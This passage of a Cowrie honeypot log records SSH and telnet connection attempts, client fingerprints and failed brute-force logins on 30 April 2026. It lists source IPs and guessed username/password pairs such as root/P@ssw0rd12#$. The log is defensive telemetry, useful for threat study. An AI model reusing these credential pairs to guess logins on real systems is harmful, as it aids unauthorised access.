88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:30.967017Z","src_ip":"159.203.92.129","session":"2edfcff614f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adt","password":"adt","message":"login attempt [adt/adt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:30.993075Z","src_ip":"159.203.92.129","session":"2edfcff614f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:32.000569Z","src_ip":"159.203.92.129","session":"2edfcff614f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.78.215.106","src_port":35980,"dst_ip":"159.203.135.109","dst_port":23,"session":"33f305cf3181","protocol":"telnet","message":"New connection: 171.78.215.106:35980 (159.203.135.109:23) [session: 33f305cf3181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:58.293538Z"}
{"eventid":"cowrie.session.closed","duration":12.887916326522827,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:11.181335Z","src_ip":"171.78.215.106","session":"33f305cf3181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54546,"dst_ip":"159.203.135.109","dst_port":22,"session":"851cbfa342ea","protocol":"ssh","message":"New connection: 159.203.92.129:54546 (159.203.135.109:22) [session: 851cbfa342ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:15.501773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:15.507270Z","src_ip":"159.203.92.129","session":"851cbfa342ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:15.513218Z","src_ip":"159.203.92.129","session":"851cbfa342ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aduser","password":"aduser","message":"login attempt [aduser/aduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:15.527226Z","src_ip":"159.203.92.129","session":"851cbfa342ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:16.537678Z","src_ip":"159.203.92.129","session":"851cbfa342ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":32852,"dst_ip":"159.203.135.109","dst_port":22,"session":"b900ef54b6e2","protocol":"ssh","message":"New connection: 45.232.73.84:32852 (159.203.135.109:22) [session: b900ef54b6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:31.206225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:31.211402Z","src_ip":"45.232.73.84","session":"b900ef54b6e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:31.348784Z","src_ip":"45.232.73.84","session":"b900ef54b6e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd12#$","message":"login attempt [root/P@ssw0rd12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:31.885805Z","src_ip":"45.232.73.84","session":"b900ef54b6e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:33.014249Z","src_ip":"45.232.73.84","session":"b900ef54b6e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":60518,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0ffaec5dbe2","protocol":"ssh","message":"New connection: 152.32.163.183:60518 (10.17.0.5:22) [session: f0ffaec5dbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:56.642606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:56.647938Z","src_ip":"152.32.163.183","session":"f0ffaec5dbe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34218,"dst_ip":"159.203.135.109","dst_port":22,"session":"47a8bf7c659d","protocol":"ssh","message":"New connection: 159.203.92.129:34218 (159.203.135.109:22) [session: 47a8bf7c659d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:56.966352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:56.971573Z","src_ip":"159.203.92.129","session":"47a8bf7c659d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:56.978125Z","src_ip":"159.203.92.129","session":"47a8bf7c659d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adv","password":"adv","message":"login attempt [adv/adv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:56.990177Z","src_ip":"159.203.92.129","session":"47a8bf7c659d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:57.890548Z","src_ip":"152.32.163.183","session":"f0ffaec5dbe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:57.996604Z","src_ip":"159.203.92.129","session":"47a8bf7c659d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe...","message":"login attempt [ubuntu/123qwe...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:58.663626Z","src_ip":"152.32.163.183","session":"f0ffaec5dbe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:33:59.924540Z","src_ip":"152.32.163.183","session":"f0ffaec5dbe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":49848,"dst_ip":"159.203.135.109","dst_port":22,"session":"a00eb6e7610d","protocol":"ssh","message":"New connection: 45.232.73.84:49848 (159.203.135.109:22) [session: a00eb6e7610d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:34:31.691162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:34:31.699269Z","src_ip":"45.232.73.84","session":"a00eb6e7610d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:34:31.837998Z","src_ip":"45.232.73.84","session":"a00eb6e7610d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password2024","message":"login attempt [root/password2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:34:32.383085Z","src_ip":"45.232.73.84","session":"a00eb6e7610d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:34:33.510646Z","src_ip":"45.232.73.84","session":"a00eb6e7610d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48862,"dst_ip":"159.203.135.109","dst_port":22,"session":"967526b7c9d4","protocol":"ssh","message":"New connection: 159.203.92.129:48862 (159.203.135.109:22) [session: 967526b7c9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:34:39.207176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:34:39.212637Z","src_ip":"159.203.92.129","session":"967526b7c9d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:34:39.220936Z","src_ip":"159.203.92.129","session":"967526b7c9d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aelfassi","password":"aelfassi","message":"login attempt [aelfassi/aelfassi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:34:39.233482Z","src_ip":"159.203.92.129","session":"967526b7c9d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:34:40.240860Z","src_ip":"159.203.92.129","session":"967526b7c9d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57886,"dst_ip":"159.203.135.109","dst_port":22,"session":"b03b94ca1fe0","protocol":"ssh","message":"New connection: 159.203.92.129:57886 (159.203.135.109:22) [session: b03b94ca1fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:35:22.069799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:35:22.074449Z","src_ip":"159.203.92.129","session":"b03b94ca1fe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:35:22.080241Z","src_ip":"159.203.92.129","session":"b03b94ca1fe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aezo","password":"aezo","message":"login attempt [aezo/aezo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:35:22.098836Z","src_ip":"159.203.92.129","session":"b03b94ca1fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:35:23.106095Z","src_ip":"159.203.92.129","session":"b03b94ca1fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":23054,"dst_ip":"10.17.0.5","dst_port":22,"session":"c692acf5825e","protocol":"ssh","message":"New connection: 152.32.163.183:23054 (10.17.0.5:22) [session: c692acf5825e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:35:32.010216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:35:32.015227Z","src_ip":"152.32.163.183","session":"c692acf5825e","protocol":"ssh"}
